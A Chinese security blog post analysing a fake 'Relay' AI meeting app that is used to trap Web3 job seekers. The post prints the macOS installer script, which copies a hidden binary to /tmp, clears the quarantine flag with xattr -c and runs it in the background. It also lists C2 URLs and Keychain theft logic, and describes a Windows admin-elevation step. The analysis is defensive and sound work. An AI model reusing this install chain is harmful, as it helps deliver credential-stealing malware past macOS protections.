求职变陷阱：伪装成面试软件的窃密木马深度分析

查找币:余老师 | 漏洞披露 | 2026-08-04 15:00 | 2 次浏览 | 0 条回复

查找币漏洞披露安全研究 Web3安全区块链安全

> 一场针对 Web3 求职者的定向攻击正在暗处展开，攻击者伪装成招聘人员，利用虚假的 AI 会议工具窃取敏感信息。查找币安全团队通过源码级拆解，还原了这场攻击的完整链路。 ## 攻击概述：一场精心设计的“招聘骗局” 近期，查找币监控系统捕获到一起高度针对性的窃密攻击活动。攻击者伪装成招聘人员，主动联系 Web3 从业者，在沟通面试事宜后，诱导目标下载一款名为 **Relay** 的 AI 会议协作工具，并引导至 `relay.lc` 域名开展所谓的“线上沟通”。这款名为 Relay 的虚假工具，对外宣称提供实时转写、协作笔记、AI 摘要、行动项及跨平台客户端等“专业”功能。对于正在远程面试的求职者而言，安装一款“会议软件”显得顺理成章——这正是攻击者精心设计的心理陷阱。 **攻击的关键诱导动作：** - **macOS 用户**：被要求打开 Terminal，将下载文件拖入并执行 - **Windows 用户**：双击安装包后，等待进度条缓慢走到 80% 表面看，这不过是安装软件的正常操作，但拆解安装包后，真相令人不寒而栗。 ## 技术分析：macOS 样本的隐蔽伪装 ### 镜像内没有正常应用 Relay.dmg 作为 macOS 磁盘镜像，内部却没有任何正常的 `.app` 应用包，仅包含以下文件： ``` /Volumes/Relay/ ├── Installer.file # 921 字节 shell 脚本 ├── Open Terminal # 指向系统 Terminal.app 的链接 ├── .back/ │ └── installer # 5.2 MB 通用可执行程序 └── .fseventsd/ ``` 真正要执行的恶意程序被隐藏在 Finder 默认不可见的 `.back` 目录中，而用户看到的“安装入口”不过是一个指向系统终端的链接。 ### “拖进 Terminal”的真相 Installer.file 脚本内容仅四行，却完成了完整的攻击链： ```bash cp -r "$APP_PATH" "$TEMP_APP" xattr -c "$TEMP_APP" chmod +x "$TEMP_APP" nohup /tmp/installer &>/dev/null & ``` 1. **复制**恶意程序到系统临时目录 2. **清除扩展属性**（`xattr -c`）——移除 macOS 对下载文件的隔离标记 3. **赋予执行权限** 4. **后台静默运行** **关键点**：`xattr -c` 命令清除了 macOS 的安全隔离标记。这意味着用户亲手关闭了系统对未知来源文件的警告机制，整个过程无需利用任何系统漏洞，纯粹是社交工程与用户误操作的结合。 ### 编码字符串暴露的真实意图恶意程序内部，大量关键字符串使用固定密钥进行简单编码，以规避常规文本扫描。解码后，安全团队发现： - **两组远程地址**：`https://e1.cdnresolver.com/m/test` 和 `https://a2.cdnresolver.com/m/test` - **伪造系统错误提示的代码段**——用于诱导用户输入敏感信息此外，程序还预置了候选密码与 Keychain 材料的收集逻辑，表明攻击者具备**窃取 macOS 钥匙串凭据**的能力。 ## 技术分析：Windows 样本的虚假更新 Windows 版本同样暗藏玄机。安装包显示的“Updating”进度条，其进度数值并非基于真实任务计算。当进度走到 80% 时，程序发送的并非“更新完成”，而是一条名为 `runUpdate` 的内部消息。更值得警惕的是，在控制主逻辑的编译代码中，`runUpdate` 消息与一段 PowerShell 命令紧密关联，该命令旨在： - **请求管理员权限** - **以隐藏窗口方式启动 `updater.exe`** 这实际上是一个**提权与持久化**的典型组合，为后续恶意操作铺平道路。不过，消息到命令之间的完整衔接代码尚未从编译中间代码中完全还原。 ## 威胁分析与防护建议 ### 攻击特征总结 | 维度 | 特征 | |------|------| | 攻击向量 | 虚假招聘 + 社交工程 | | 伪装载体 | 伪造 AI 会议工具 Relay | | 目标平台 | macOS / Windows | | 核心手段 | 诱导手动执行脚本、清除系统安全标记 | | 潜在后果 | 敏感信息窃取、系统凭据泄露、远程控制 | ### 针对 Web3 从业者的防护建议 1. **警惕陌生招聘流程**：正规企业的面试工具通常为知名产品（Zoom、Google Meet 等），对陌生“会议软件”保持高度警惕 2. **不执行来源不明的命令**：任何要求打开终端、手动执行脚本的“安装流程”都应视为危险信号 3. **检查应用签名与公证**：macOS 应用应通过 Gatekeeper 公证，Windows 应用应具备有效代码签名 4. **使用安全监控工具**：部署 DNS 防护与恶意域名检测工具，阻断与 C2 服务器的通信 5. **定期审计钥匙串与凭据**：发现异常授权时立即撤销并修改相关密码 ### 查找币监控系统响应针对 `relay.lc` 域名，查找币监控系统已触发高危告警，并将相关 IOC（入侵指标）纳入威胁情报库。查找币安全团队将持续跟踪该攻击家族的最新变种，为 Web3 生态提供实时防护。 --- **分析说明**：本文技术分析基于文件拆解、原始数据解码与代码反汇编后的交叉比对完成。分析过程中未运行任何样本，也未连接样本内嵌的远程地址。 ## 查找币安全工具矩阵查找币安全团队为生态用户提供以下开源防护工具： - **查找币监控系统-DepScan**：轻量级 CLI 工具，一键扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态 - **查找币监控系统-Skills**：AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发安全检测 - **查找币监控系统-DNS-Guard**：DNS 安全防护工具，检测恶意域名与风险访问，阻断钓鱼、C2 等网络威胁 **API 文档**：https://app.查找币监控系统.io/api-docs --- *本文由查找币安全团队整理发布*

求职变陷阱：伪装成面试软件的窃密木马深度分析

查找币安全研究院

主题延伸阅读